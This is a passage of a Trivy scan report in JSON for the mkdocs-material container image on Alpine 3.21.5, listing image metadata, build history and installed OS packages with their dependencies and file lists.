{ "SchemaVersion": 2, "Trivy": { "Version": "0.70.0" }, "ReportID": "01a1b91c-5806-7ae0-aefb-7120e741c484", "CreatedAt": "2026-11-08T04:03:24.934714616+01:00", "ArtifactID": "sha256:713eeae9987659f82da624fd0ac0eb22670a5bcf7aef27167db3543970cac63a", "ArtifactName": "squidfunk/mkdocs-material:latest", "ArtifactType": "container_image", "Metadata": { "Size": 182240256, "OS": { "Family": "alpine", "Name": "3.21.5" }, "ImageID": "sha256:669e470fb82ce959bde2e8221c36770c5bda6040d50b85b16c9fe4e9ab780091", "DiffIDs": [ "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4", "sha256:66102a5119060c0e193d7f1938ee4a2b0ee24e1c423b36c2edb66d8b034c4a58" ], "RepoTags": [ "squidfunk/mkdocs-material:latest" ], "RepoDigests": [ "squidfunk/mkdocs-material@sha256:3bba0a99bc6e635bb8e53f379d32ab9cecb554adee9cc8f59a347f93ecf82f3b" ], "Reference": "squidfunk/mkdocs-material:latest", "ImageConfig": { "architecture": "amd64", "created": "2025-12-18T09:56:07.110926465Z", "history": [ { "created": "2025-12-18T09:56:06Z", "created_by": "COPY / / # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2025-12-18T09:56:07Z", "created_by": "WORKDIR /docs", "comment": "buildkit.dockerfile.v0" }, { "created": "2025-12-18T09:56:07Z", "created_by": "EXPOSE [8000/tcp]", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2025-12-18T09:56:07Z", "created_by": "ENTRYPOINT [\"/sbin/tini\" \"--\" \"mkdocs\"]", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2025-12-18T09:56:07Z", "created_by": "CMD [\"serve\" \"--dev-addr=0.0.0.0:8000\"]", "comment": "buildkit.dockerfile.v0", "empty_layer": true } ], "os": "linux", "rootfs": { "type": "layers", "diff_ids": [ "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4", "sha256:66102a5119060c0e193d7f1938ee4a2b0ee24e1c423b36c2edb66d8b034c4a58" ] }, "config": { "Cmd": [ "serve", "--dev-addr=0.0.0.0:8000" ], "Entrypoint": [ "/sbin/tini", "--", "mkdocs" ], "Env": [ "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ], "Labels": { "org.opencontainers.image.created": "2025-12-18T09:55:13.198Z", "org.opencontainers.image.description": "Documentation that simply works", "org.opencontainers.image.licenses": "MIT", "org.opencontainers.image.revision": "7e236f6866b73aa080cd4d209752f6440bf67440", "org.opencontainers.image.source": "https://github.com/squidfunk/mkdocs-material", "org.opencontainers.image.title": "mkdocs-material", "org.opencontainers.image.url": "https://github.com/squidfunk/mkdocs-material", "org.opencontainers.image.version": "9.7.1" }, "WorkingDir": "/docs", "ExposedPorts": { "8000/tcp": {} }, "ArgsEscaped": true } }, "Layers": [ { "Size": 182238720, "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, { "Size": 1536, "DiffID": "sha256:66102a5119060c0e193d7f1938ee4a2b0ee24e1c423b36c2edb66d8b034c4a58" } ] }, "Results": [ { "Target": "squidfunk/mkdocs-material:latest (alpine 3.21.5)", "Class": "os-pkgs", "Type": "alpine", "Packages": [ { "ID": ".python-rundeps@20251009.224302", "Name": ".python-rundeps", "Identifier": { "PURL": "pkg:apk/alpine/.python-rundeps@20251009.224302?arch=noarch\u0026distro=3.21.5", "UID": "6a6992eb4dec6849" }, "Version": "20251009.224302", "Arch": "noarch", "DependsOn": [ "gdbm@1.24-r0", "libbz2@1.0.8-r6", "libcrypto3@3.3.5-r0", "libffi@3.4.7-r0", "libncursesw@6.5_p20241006-r3", "libnsl@2.0.1-r0", "libpanelw@6.5_p20241006-r3", "libssl3@3.3.5-r0", "libtirpc@1.3.5-r0", "libuuid@2.40.4-r1", "musl@1.2.5-r9", "readline@8.2.13-r0", "sqlite-libs@3.48.0-r4", "xz-libs@5.6.3-r1", "zlib@1.3.1-r2" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:608b80f0aa47aa4531c8c1032d58f6cd7906e4e0", "AnalyzedBy": "apk" }, { "ID": "alpine-baselayout@3.6.8-r1", "Name": "alpine-baselayout", "Identifier": { "PURL": "pkg:apk/alpine/alpine-baselayout@3.6.8-r1?arch=x86_64\u0026distro=3.21.5", "UID": "24d89784b78331b0" }, "Version": "3.6.8-r1", "Arch": "x86_64", "SrcName": "alpine-baselayout", "SrcVersion": "3.6.8-r1", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "alpine-baselayout-data@3.6.8-r1", "busybox-binsh@1.37.0-r14" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:eceb5e3555e7f7f8925dc248d557fcc744d573d6", "InstalledFiles": [ "etc/motd", "etc/crontabs/root", "etc/modprobe.d/aliases.conf", "etc/modprobe.d/blacklist.conf", "etc/modprobe.d/i386.conf", "etc/modprobe.d/kms.conf", "etc/profile.d/20locale.sh", "etc/profile.d/README", "etc/profile.d/color_prompt.sh.disabled", "usr/lib/sysctl.d/00-alpine.conf", "var/lock", "var/run", "var/spool/mail", "var/spool/cron/crontabs" ], "AnalyzedBy": "apk" }, { "ID": "alpine-baselayout-data@3.6.8-r1", "Name": "alpine-baselayout-data", "Identifier": { "PURL": "pkg:apk/alpine/alpine-baselayout-data@3.6.8-r1?arch=x86_64\u0026distro=3.21.5", "UID": "a35ff814457b106b" }, "Version": "3.6.8-r1", "Arch": "x86_64", "SrcName": "alpine-baselayout", "SrcVersion": "3.6.8-r1", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:7979a835bc317cedb997d3a42f3b10be86a8d18a", "InstalledFiles": [ "etc/fstab", "etc/group", "etc/hostname", "etc/hosts", "etc/inittab", "etc/modules", "etc/mtab", "etc/nsswitch.conf", "etc/passwd", "etc/profile", "etc/protocols", "etc/services", "etc/shadow", "etc/shells", "etc/sysctl.conf" ], "AnalyzedBy": "apk" }, { "ID": "alpine-keys@2.5-r0", "Name": "alpine-keys", "Identifier": { "PURL": "pkg:apk/alpine/alpine-keys@2.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "e87ecc7343d144e0" }, "Version": "2.5-r0", "Arch": "x86_64", "SrcName": "alpine-keys", "SrcVersion": "2.5-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:91014bfdba0e7f7b4505159466e9f19871606a59", "InstalledFiles": [ "etc/apk/keys/alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub", "etc/apk/keys/alpine-devel@lists.alpinelinux.org-5243ef4b.rsa.pub", "etc/apk/keys/alpine-devel@lists.alpinelinux.org-5261cecb.rsa.pub", "etc/apk/keys/alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub", "etc/apk/keys/alpine-devel@lists.alpinelinux.org-61666e3f.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-5243ef4b.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-524d27bb.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-5261cecb.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-58199dcc.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-58cbb476.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-58e4f17d.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-5e69ca50.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-60ac2099.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-61666e3f.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616a9724.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616abc23.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616ac3bc.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616adfeb.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616ae350.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616db30d.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-66ba20fe.rsa.pub", "usr/share/apk/keys/aarch64/alpine-devel@lists.alpinelinux.org-58199dcc.rsa.pub", "usr/share/apk/keys/aarch64/alpine-devel@lists.alpinelinux.org-616ae350.rsa.pub", "usr/share/apk/keys/armhf/alpine-devel@lists.alpinelinux.org-524d27bb.rsa.pub", "usr/share/apk/keys/armhf/alpine-devel@lists.alpinelinux.org-616a9724.rsa.pub", "usr/share/apk/keys/armv7/alpine-devel@lists.alpinelinux.org-524d27bb.rsa.pub", "usr/share/apk/keys/armv7/alpine-devel@lists.alpinelinux.org-616adfeb.rsa.pub", "usr/share/apk/keys/loongarch64/alpine-devel@lists.alpinelinux.org-66ba20fe.rsa.pub", "usr/share/apk/keys/mips64/alpine-devel@lists.alpinelinux.org-5e69ca50.rsa.pub", "usr/share/apk/keys/ppc64le/alpine-devel@lists.alpinelinux.org-58cbb476.rsa.pub", "usr/share/apk/keys/ppc64le/alpine-devel@lists.alpinelinux.org-616abc23.rsa.pub", "usr/share/apk/keys/riscv64/alpine-devel@lists.alpinelinux.org-60ac2099.rsa.pub", "usr/share/apk/keys/riscv64/alpine-devel@lists.alpinelinux.org-616db30d.rsa.pub", "usr/share/apk/keys/s390x/alpine-devel@lists.alpinelinux.org-58e4f17d.rsa.pub", "usr/share/apk/keys/s390x/alpine-devel@lists.alpinelinux.org-616ac3bc.rsa.pub", "usr/share/apk/keys/x86/alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub", "usr/share/apk/keys/x86/alpine-devel@lists.alpinelinux.org-5243ef4b.rsa.pub", "usr/share/apk/keys/x86/alpine-devel@lists.alpinelinux.org-61666e3f.rsa.pub", "usr/share/apk/keys/x86_64/alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub", "usr/share/apk/keys/x86_64/alpine-devel@lists.alpinelinux.org-5261cecb.rsa.pub", "usr/share/apk/keys/x86_64/alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub" ], "AnalyzedBy": "apk" }, { "ID": "alpine-release@3.21.5-r0", "Name": "alpine-release", "Identifier": { "PURL": "pkg:apk/alpine/alpine-release@3.21.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "5f453612d66d3774" }, "Version": "3.21.5-r0", "Arch": "x86_64", "SrcName": "alpine-base", "SrcVersion": "3.21.5-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "alpine-keys@2.5-r0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:17fc4cd975359564a4cedfc75de2bbc1c121d0fa", "InstalledFiles": [ "etc/alpine-release", "etc/issue", "etc/os-release", "etc/secfixes.d/alpine", "usr/lib/os-release" ], "AnalyzedBy": "apk" }, { "ID": "apk-tools@2.14.6-r3", "Name": "apk-tools", "Identifier": { "PURL": "pkg:apk/alpine/apk-tools@2.14.6-r3?arch=x86_64\u0026distro=3.21.5", "UID": "c5364b2cfe848b91" }, "Version": "2.14.6-r3", "Arch": "x86_64", "SrcName": "apk-tools", "SrcVersion": "2.14.6-r3", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "ca-certificates-bundle@20250911-r0", "libcrypto3@3.3.5-r0", "libssl3@3.3.5-r0", "musl@1.2.5-r9", "zlib@1.3.1-r2" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:9704358d1b44fa771e0a0a3a527d8a26830e3eba", "InstalledFiles": [ "sbin/apk", "usr/lib/libapk.so.2.14.0" ], "AnalyzedBy": "apk" }, { "ID": "brotli@1.1.0-r2", "Name": "brotli", "Identifier": { "PURL": "pkg:apk/alpine/brotli@1.1.0-r2?arch=x86_64\u0026distro=3.21.5", "UID": "a308fcb77ad6b9b1" }, "Version": "1.1.0-r2", "Arch": "x86_64", "SrcName": "brotli", "SrcVersion": "1.1.0-r2", "Licenses": [ "MIT" ], "Maintainer": "prspkt \u003cprspkt@protonmail.com\u003e", "DependsOn": [ "brotli-libs@1.1.0-r2", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:b8e2578b7e4f065a1d44a72bc8e064506567db15", "InstalledFiles": [ "usr/bin/brotli" ], "AnalyzedBy": "apk" }, { "ID": "brotli-dev@1.1.0-r2", "Name": "brotli-dev", "Identifier": { "PURL": "pkg:apk/alpine/brotli-dev@1.1.0-r2?arch=x86_64\u0026distro=3.21.5", "UID": "c0f921f2ffdde29a" }, "Version": "1.1.0-r2", "Arch": "x86_64", "SrcName": "brotli", "SrcVersion": "1.1.0-r2", "Licenses": [ "MIT" ], "Maintainer": "prspkt \u003cprspkt@protonmail.com\u003e", "DependsOn": [ "brotli-libs@1.1.0-r2", "brotli@1.1.0-r2", "pkgconf@2.3.0-r0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:005de0d6fb7b017c8fbbcd5e2cd0f8ab7b40d1ef", "InstalledFiles": [ "usr/include/brotli/decode.h", "usr/include/brotli/encode.h", "usr/include/brotli/port.h", "usr/include/brotli/shared_dictionary.h", "usr/include/brotli/types.h", "usr/lib/libbrotlicommon.so", "usr/lib/libbrotlidec.so", "usr/lib/libbrotlienc.so", "usr/lib/pkgconfig/libbrotlicommon.pc", "usr/lib/pkgconfig/libbrotlidec.pc", "usr/lib/pkgconfig/libbrotlienc.pc" ], "AnalyzedBy": "apk" }, { "ID": "brotli-libs@1.1.0-r2", "Name": "brotli-libs", "Identifier": { "PURL": "pkg:apk/alpine/brotli-libs@1.1.0-r2?arch=x86_64\u0026distro=3.21.5", "UID": "cc9451d88db1a57f" }, "Version": "1.1.0-r2", "Arch": "x86_64", "SrcName": "brotli", "SrcVersion": "1.1.0-r2", "Licenses": [ "MIT" ], "Maintainer": "prspkt \u003cprspkt@protonmail.com\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:70f773919e72e35e8d9bbc364922178a7656f3a1", "InstalledFiles": [ "usr/lib/libbrotlicommon.so.1", "usr/lib/libbrotlicommon.so.1.1.0", "usr/lib/libbrotlidec.so.1", "usr/lib/libbrotlidec.so.1.1.0", "usr/lib/libbrotlienc.so.1", "usr/lib/libbrotlienc.so.1.1.0" ], "AnalyzedBy": "apk" }, { "ID": "busybox@1.37.0-r14", "Name": "busybox", "Identifier": { "PURL": "pkg:apk/alpine/busybox@1.37.0-r14?arch=x86_64\u0026distro=3.21.5", "UID": "8b0f0de206f5789" }, "Version": "1.37.0-r14", "Arch": "x86_64", "SrcName": "busybox", "SrcVersion": "1.37.0-r14", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sören Tempel \u003csoeren+alpine@soeren-tempel.net\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:a7fc9d0c26eac3c681f2e03f339af312011e443e", "InstalledFiles": [ "bin/busybox", "etc/securetty", "etc/busybox-paths.d/busybox", "etc/logrotate.d/acpid", "etc/network/if-up.d/dad", "etc/udhcpc/udhcpc.conf", "usr/share/udhcpc/default.script" ], "AnalyzedBy": "apk" }, { "ID": "busybox-binsh@1.37.0-r14", "Name": "busybox-binsh", "Identifier": { "PURL": "pkg:apk/alpine/busybox-binsh@1.37.0-r14?arch=x86_64\u0026distro=3.21.5", "UID": "fff548031539246c" }, "Version": "1.37.0-r14", "Arch": "x86_64", "SrcName": "busybox", "SrcVersion": "1.37.0-r14", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sören Tempel \u003csoeren+alpine@soeren-tempel.net\u003e", "DependsOn": [ "busybox@1.37.0-r14" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:e9b6cac12f5408585ae488f77ca6ca5d6aa6259d", "InstalledFiles": [ "bin/sh" ], "AnalyzedBy": "apk" }, { "ID": "bzip2-dev@1.0.8-r6", "Name": "bzip2-dev", "Identifier": { "PURL": "pkg:apk/alpine/bzip2-dev@1.0.8-r6?arch=x86_64\u0026distro=3.21.5", "UID": "8b4651780c2034de" }, "Version": "1.0.8-r6", "Arch": "x86_64", "SrcName": "bzip2", "SrcVersion": "1.0.8-r6", "Licenses": [ "bzip-2-1.0.6" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libbz2@1.0.8-r6", "pkgconf@2.3.0-r0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:5fea005cecfbc6845c6211e46ff1341c5244a797", "InstalledFiles": [ "usr/include/bzlib.h", "usr/lib/libbz2.so", "usr/lib/pkgconfig/bzip2.pc" ], "AnalyzedBy": "apk" }, { "ID": "c-ares@1.34.6-r0", "Name": "c-ares", "Identifier": { "PURL": "pkg:apk/alpine/c-ares@1.34.6-r0?arch=x86_64\u0026distro=3.21.5", "UID": "f32136505f2b2377" }, "Version": "1.34.6-r0", "Arch": "x86_64", "SrcName": "c-ares", "SrcVersion": "1.34.6-r0", "Licenses": [ "MIT" ], "Maintainer": "Carlo Landmeter \u003cclandmeter@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:03189b5db53445a3eac97c3172c2aebd4214b757", "InstalledFiles": [ "usr/lib/libcares.so.2", "usr/lib/libcares.so.2.19.5" ], "AnalyzedBy": "apk" }, { "ID": "ca-certificates@20250911-r0", "Name": "ca-certificates", "Identifier": { "PURL": "pkg:apk/alpine/ca-certificates@20250911-r0?arch=x86_64\u0026distro=3.21.5", "UID": "d09ec522d952aa2b" }, "Version": "20250911-r0", "Arch": "x86_64", "SrcName": "ca-certificates", "SrcVersion": "20250911-r0", "Licenses": [ "MPL-2.0", "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "busybox-binsh@1.37.0-r14", "libcrypto3@3.3.5-r0", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:cfc09a91ee9238553277ed988779162b9e45a457", "InstalledFiles": [ "etc/ca-certificates.conf", "etc/apk/protected_paths.d/ca-certificates.list", "etc/ca-certificates/update.d/certhash", "usr/bin/c_rehash", "usr/sbin/update-ca-certificates", "usr/share/ca-certificates/mozilla/ACCVRAIZ1.crt", "usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM.crt", "usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM_SERVIDORES_SEGUROS.crt", "usr/share/ca-certificates/mozilla/ANF_Secure_Server_Root_CA.crt", "usr/share/ca-certificates/mozilla/Actalis_Authentication_Root_CA.crt", "usr/share/ca-certificates/mozilla/AffirmTrust_Commercial.crt", "usr/share/ca-certificates/mozilla/AffirmTrust_Networking.crt", "usr/share/ca-certificates/mozilla/AffirmTrust_Premium.crt", "usr/share/ca-certificates/mozilla/AffirmTrust_Premium_ECC.crt", "usr/share/ca-certificates/mozilla/Amazon_Root_CA_1.crt", "usr/share/ca-certificates/mozilla/Amazon_Root_CA_2.crt", "usr/share/ca-certificates/mozilla/Amazon_Root_CA_3.crt", "usr/share/ca-certificates/mozilla/Amazon_Root_CA_4.crt", "usr/share/ca-certificates/mozilla/Atos_TrustedRoot_2011.crt", "usr/share/ca-certificates/mozilla/Atos_TrustedRoot_Root_CA_ECC_TLS_2021.crt", "usr/share/ca-certificates/mozilla/Atos_TrustedRoot_Root_CA_RSA_TLS_2021.crt", "usr/share/ca-certificates/mozilla/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.crt", "usr/share/ca-certificates/mozilla/BJCA_Global_Root_CA1.crt", "usr/share/ca-certificates/mozilla/BJCA_Global_Root_CA2.crt", "usr/share/ca-certificates/mozilla/Buypass_Class_2_Root_CA.crt", "usr/share/ca-certificates/mozilla/Buypass_Class_3_Root_CA.crt", "usr/share/ca-certificates/mozilla/CA_Disig_Root_R2.crt", "usr/share/ca-certificates/mozilla/CFCA_EV_ROOT.crt", "usr/share/ca-certificates/mozilla/COMODO_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/COMODO_ECC_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/COMODO_RSA_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/Certainly_Root_E1.crt", "usr/share/ca-certificates/mozilla/Certainly_Root_R1.crt", "usr/share/ca-certificates/mozilla/Certigna.crt", "usr/share/ca-certificates/mozilla/Certigna_Root_CA.crt", "usr/share/ca-certificates/mozilla/Certum_EC-384_CA.crt", "usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA.crt", "usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA_2.crt", "usr/share/ca-certificates/mozilla/Certum_Trusted_Root_CA.crt", "usr/share/ca-certificates/mozilla/CommScope_Public_Trust_ECC_Root-01.crt", "usr/share/ca-certificates/mozilla/CommScope_Public_Trust_ECC_Root-02.crt", "usr/share/ca-certificates/mozilla/CommScope_Public_Trust_RSA_Root-01.crt", "usr/share/ca-certificates/mozilla/CommScope_Public_Trust_RSA_Root-02.crt", "usr/share/ca-certificates/mozilla/D-TRUST_BR_Root_CA_1_2020.crt", "usr/share/ca-certificates/mozilla/D-TRUST_BR_Root_CA_2_2023.crt", "usr/share/ca-certificates/mozilla/D-TRUST_EV_Root_CA_1_2020.crt", "usr/share/ca-certificates/mozilla/D-TRUST_EV_Root_CA_2_2023.crt", "usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_2009.crt", "usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_EV_2009.crt", "usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_CA.crt", "usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G2.crt", "usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G3.crt", "usr/share/ca-certificates/mozilla/DigiCert_Global_Root_CA.crt", "usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G2.crt", "usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G3.crt", "usr/share/ca-certificates/mozilla/DigiCert_High_Assurance_EV_Root_CA.crt", "usr/share/ca-certificates/mozilla/DigiCert_TLS_ECC_P384_Root_G5.crt", "usr/share/ca-certificates/mozilla/DigiCert_TLS_RSA4096_Root_G5.crt", "usr/share/ca-certificates/mozilla/DigiCert_Trusted_Root_G4.crt", "usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_EC1.crt", "usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_G2.crt", "usr/share/ca-certificates/mozilla/FIRMAPROFESIONAL_CA_ROOT-A_WEB.crt", "usr/share/ca-certificates/mozilla/GDCA_TrustAUTH_R5_ROOT.crt", "usr/share/ca-certificates/mozilla/GLOBALTRUST_2020.crt", "usr/share/ca-certificates/mozilla/GTS_Root_R1.crt", "usr/share/ca-certificates/mozilla/GTS_Root_R2.crt", "usr/share/ca-certificates/mozilla/GTS_Root_R3.crt", "usr/share/ca-certificates/mozilla/GTS_Root_R4.crt", "usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R4.crt", "usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R5.crt", "usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R3.crt", "usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R6.crt", "usr/share/ca-certificates/mozilla/GlobalSign_Root_E46.crt", "usr/share/ca-certificates/mozilla/GlobalSign_Root_R46.crt", "usr/share/ca-certificates/mozilla/Go_Daddy_Root_Certificate_Authority_-_G2.crt", "usr/share/ca-certificates/mozilla/HARICA_TLS_ECC_Root_CA_2021.crt", "usr/share/ca-certificates/mozilla/HARICA_TLS_RSA_Root_CA_2021.crt", "usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.crt", "usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2015.crt", "usr/share/ca-certificates/mozilla/HiPKI_Root_CA_-_G1.crt", "usr/share/ca-certificates/mozilla/Hongkong_Post_Root_CA_3.crt", "usr/share/ca-certificates/mozilla/ISRG_Root_X1.crt", "usr/share/ca-certificates/mozilla/ISRG_Root_X2.crt", "usr/share/ca-certificates/mozilla/IdenTrust_Commercial_Root_CA_1.crt", "usr/share/ca-certificates/mozilla/IdenTrust_Public_Sector_Root_CA_1.crt", "usr/share/ca-certificates/mozilla/Izenpe.com.crt", "usr/share/ca-certificates/mozilla/Microsec_e-Szigno_Root_CA_2009.crt", "usr/share/ca-certificates/mozilla/Microsoft_ECC_Root_Certificate_Authority_2017.crt", "usr/share/ca-certificates/mozilla/Microsoft_RSA_Root_Certificate_Authority_2017.crt", "usr/share/ca-certificates/mozilla/NAVER_Global_Root_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/NetLock_Arany_=Class_Gold=_Főtanúsítvány.crt", "usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GB_CA.crt", "usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GC_CA.crt", "usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_1_G3.crt", "usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2.crt", "usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2_G3.crt", "usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3.crt", "usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3_G3.crt", "usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_ECC.crt", "usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_RSA_R2.crt", "usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_ECC.crt", "usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_RSA.crt", "usr/share/ca-certificates/mozilla/SSL.com_TLS_ECC_Root_CA_2022.crt", "usr/share/ca-certificates/mozilla/SSL.com_TLS_RSA_Root_CA_2022.crt", "usr/share/ca-certificates/mozilla/SZAFIR_ROOT_CA2.crt", "usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_E46.crt", "usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_R46.crt", "usr/share/ca-certificates/mozilla/SecureSign_Root_CA12.crt", "usr/share/ca-certificates/mozilla/SecureSign_Root_CA14.crt", "usr/share/ca-certificates/mozilla/SecureSign_Root_CA15.crt", "usr/share/ca-certificates/mozilla/SecureTrust_CA.crt", "usr/share/ca-certificates/mozilla/Secure_Global_CA.crt", "usr/share/ca-certificates/mozilla/Security_Communication_ECC_RootCA1.crt", "usr/share/ca-certificates/mozilla/Security_Communication_RootCA2.crt", "usr/share/ca-certificates/mozilla/Starfield_Root_Certificate_Authority_-_G2.crt", "usr/share/ca-certificates/mozilla/Starfield_Services_Root_Certificate_Authority_-_G2.crt", "usr/share/ca-certificates/mozilla/SwissSign_Gold_CA_-_G2.crt", "usr/share/ca-certificates/mozilla/SwissSign_RSA_TLS_Root_CA_2022_-_1.crt", "usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_2.crt", "usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_3.crt", "usr/share/ca-certificates/mozilla/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.crt", "usr/share/ca-certificates/mozilla/TWCA_CYBER_Root_CA.crt", "usr/share/ca-certificates/mozilla/TWCA_Global_Root_CA.crt", "usr/share/ca-certificates/mozilla/TWCA_Root_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/Telekom_Security_TLS_ECC_Root_2020.crt", "usr/share/ca-certificates/mozilla/Telekom_Security_TLS_RSA_Root_2023.crt", 